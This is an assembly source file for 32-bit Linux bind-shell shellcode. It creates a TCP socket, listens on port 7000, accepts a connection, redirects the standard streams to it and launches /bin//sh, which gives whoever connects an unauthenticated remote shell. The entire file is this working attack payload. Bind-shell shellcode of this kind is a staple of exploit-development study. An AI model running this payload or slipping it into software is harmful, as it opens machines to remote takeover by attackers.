BITS 32

SECTION .text      ; code section
global main        ; make label available to linker

main:

; SOCKET {{{

	xor eax, eax
	xor ebx, ebx

; socket() args {
	push byte 6              ; IPPROTO_TCP (=6)
	push byte 1              ; SOCK_STREAM (=1)
	push byte 2              ; PF_INET (=2)
; }

	mov al, 0x66             ; socketcall()
	inc ebx                  ; int call = 1
	mov ecx, esp             ; unsigned long *args = {2, 1, 6}

	int 0x80

; }}}

	mov edi, eax             ; save sockfd

; BIND {{{

	inc ebx                  ; int call = 2

; struct sockaddr_in {
	cdq
	push edx                 ; INADDR_ANY = htonl(0x0) = 0x0
	push word 0x581b         ; port 7000 = htons(0x1b58) = 0x581b
	push word bx             ; AF_INET = 2
; }

	mov ecx, esp             ; save pointer to struct

; bind() args {
	push byte 16             ; socklen_t addrlen
	push ecx                 ; const struct sockaddr *my_addr
	push edi                 ; int sockfd
; }

	mov al, 0x66             ; socketcall()
	mov ecx, esp             ; unsigned long *args = {eax, edi, 16}

	int 0x80

; }}}


; LISTEN {{{

	sal bl, 1                ; int call = 4 (2<<1)

; listen() args {
	push byte 1              ; int backlog
	push edi                 ; int sockfd
; }

	mov al, 0x66             ; socketcall()
	mov ecx, esp             ; unsigned long *args = {edi, 5}

	int 0x80

; }}}


; ACCEPT {{{

	inc ebx                  ; int call = 5

; eax should be set to zero
; accept() args {
	push eax                 ; socklen_t *addrlen
	push eax                 ; struct sockaddr *addr
	push edi                 ; int sockfd
; }

	mov al, 0x66             ; socketcall()
	mov ecx, esp             ; unsigned long *args = {fd, 0, 0}

	int 0x80

; }}}


; DUP2 {{{

	xchg ebx, eax            ; int oldfd = client

	xor ecx, ecx
	mov cl, 3                ; i=3

l00p:
	dec ecx                  ; --i
	mov al, 0x3f             ; dup2()
	int 0x80                 ; dup2(oldfd, i)
	jnz l00p

; }}}


; EXECVE {{{

	; ecx is already 0 (char *const argv [] = NULL)

	push ecx
	push 0x68732f6e          ; hs/n
	push 0x69622f2f          ; ib//

	mov ebx, esp             ; const char *filename = esp
	mov al, 0x0b             ; execve()

	cdq                      ; char *const envp [] = NULL

	int 0x80

; }}}


; EXIT {{{

	mov al, 1        ; exit()
	int 0x80

; }}}